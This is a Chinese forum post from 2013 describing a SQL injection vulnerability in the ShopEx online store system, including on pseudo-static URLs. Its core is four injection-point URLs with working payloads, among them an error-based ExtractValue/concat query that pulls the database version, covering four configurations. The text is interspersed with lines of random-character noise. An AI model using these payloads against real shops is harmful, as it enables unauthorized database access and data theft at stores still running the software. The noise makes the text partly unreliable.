注入漏洞是一种经典的漏洞类型了，自从上次跟基友深聊了注入，我对注入的认识又提升了一个高度，在我看来不可以注入的地方，TMD的竟然可以注入，注入攻击最早出现了1998年，貌似是，记不清了。10多年了，依然存在，虽然比以前出现量少了，但不得不用到的一种攻击技术… 2 u6 ~$ h* g, l" \+ ]8 f
! e% k( A% L% K+ F7 H
好吧，我扯远了~~
. O* m3 l8 x/ c r! a6 S3 n# o( S% I其实注入不仅仅出现在动态页面上，难道伪静态后就不能注入了吗？NO~
8 l$ I3 u& l4 [5 u) ^; e% h# j不扯了，直接说主题吧，shopex网店系统注入漏洞。注入点如下：
& B5 a% {4 e1 Z2 K7 v4 ^- R7 t% m4 i3 _. ]$ X/ Y5 l8 O6 u1 Z
http://www.x.cn/index.php?comment-822′/**/and/**/’1′=’1-ask-commentlist.html
1 L$ o4 t" e# v/ X$ o
- i. y2 T: J' Q* Mhttp://www.x.com/comment-8967′/**/and/**/ExtractValue(0×64,concat(0×01,(select/**/@@version)))/**/order/**/by/**/’1-ask-commentlist.html # _/ t6 v- o+ o5 G! W* L
8 a1 m5 g9 Y6 O; B2 w& L+ }+ Fhttp://www.x.cn/index.php?comment-822′/**/and/**/’1′=’1-ask-commentlist.html j1 i, V5 _. T$ G- M3 C
( g% f0 v6 [4 y I3 Phttp://demo.x.com.cn/485/index.php?comment-190′/**/and/**/’1′=’1-ask-commentlist.html 3 o7 S. t* O) d9 F. e* u
! G! A: H8 N' o$ f# q( k; U
- ~) i- y6 ^' q6 I- @" m \# U一个是网站未开启伪静态的注入，一个是网站开启伪静态后的注入，以及是否屏蔽错误回显的2X2=4种情况。
" o. C) g$ p6 e# E如何注入就不多说了，10多年的东西了…不会也会了…
) j5 U) _+ T! p. h4 h: o& s/ w" T: n
/ G5 g1 C8 J: ^. m
0 [0 V6 x% u$ C% ~9 n4 Q9 b! q+ ]
+ q; P9 g/ |8 E1 N- j |
发表于 2013-2-19 08:31:27
收藏
支持
反对